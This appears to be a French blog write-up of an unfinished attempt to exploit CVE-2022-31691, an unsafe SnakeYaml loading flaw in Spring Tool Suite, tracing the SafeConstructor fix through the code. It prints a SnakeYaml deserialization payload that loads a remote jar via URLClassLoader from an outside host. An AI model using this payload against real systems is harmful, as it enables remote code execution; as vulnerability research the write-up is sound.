
Un compte-rendu de mon analyse (jusqu'ici non concluante) de CVE-2022-31691
Un compte rendu de mon exploration (jusqu'ici non concluante) de CVE-2022-31691.
Je suis un utilisateur fréquent de Spring Tool Suite (STS) pour Eclipse, et j'ai tendance à m'appuyer dessus pour initialiser de nouveaux projets Spring Boot. Cette vulnérabilité (voir https://tanzu.vmware.com/security/cve-2022-31691) est une RCE qui peut être induite par un chargement non sûr de contenu depuis un fichier de configuration yaml.
SnakeYaml est un analyseur et émetteur yaml très courant pour Java. Cependant, comme pour tout processus de marshalling/unmarshalling, il existe toujours un risque que du contenu indésirable soit chargé directement en mémoire. SnakeYaml ne fait pas exception - voir https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
Dans cet esprit, les mainteneurs du projet ont ajouté une méthode SafeConstructor :
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
La raison est assez claire, mais ce conseil n'est manifestement pas bien suivi. Vous n'avez pas besoin de chercher loin pour voir des exemples de pratiques de chargement non sûres. Même Baeldung (une excellente source d'informations sur Spring) ne le mentionne pas dans son guide : https://www.baeldung.com/java-snake-yaml#basic-usage.
Afin d'exploiter cette vulnérabilité, je dois faire en sorte que ce constructeur désérialise un objet que je contrôle. Heureusement, d'autres ont déjà fait le travail ici. https://github.com/artsploit/yaml-payload est un projet très simple pour générer des payloads d'exploitation SnakeYaml à la https://github.com/mbechler/marshalsec. Le principe est le suivant :
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
Cette vulnérabilité a été corrigée dans la version 4.16.1 de STS. Un rapide coup d'œil aux commits de cette version offre quelques indices utiles sur ce qui a été corrigé - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
Le message de ce commit - « Utiliser SafeConstructor dans les constructeurs YAML de Snakeyaml » est un bon indicateur de ce qui a été corrigé.
Effectivement, c'est ici que SafeConstructor est substitué.
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
Si je souhaite exploiter cette vulnérabilité, je dois faire entrer du contenu malveillant dans ce constructeur SnakeYaml, je dois donc retrouver d'où il est appelé.
La création de l'objet SnakeYaml est alimentée par un objet InputStream créé par une méthode getInputStream().
getInputStream() appelle getManifestFile() pour déterminer quel fichier manifeste charger.
getManifestFile() renvoie soit l'emplacement d'un fichier manifeste (si celui-ci est spécifié dans le constructeur), soit null.
La classe ApplicationManifestHandler est initialisée dans la classe CloudFoundryBootDashModel ici et reçoit une valeur dérivée d'une valeur définie dans le constructeur pour la méthode resolveDeploymentProperties ici.
Je suis à peu près certain qu'il me faut mettre en place une configuration CloudFoundry pour qu'il tente de charger/invoquer mon fichier manifest.yml malveillant.
Il s'avère que CloudFoundry est une technologie en voie de disparition, grâce à (je suppose) Kubernetes et autres. Je ne trouve aucune plateforme publique sur laquelle créer une connexion CF, donc je ne peux pas réellement tester les choses d'ici.
Envisager de mettre en place une instance de développement locale de CloudFoundry, ne serait-ce que pour tester ma compréhension de la vulnérabilité et de l'exploit.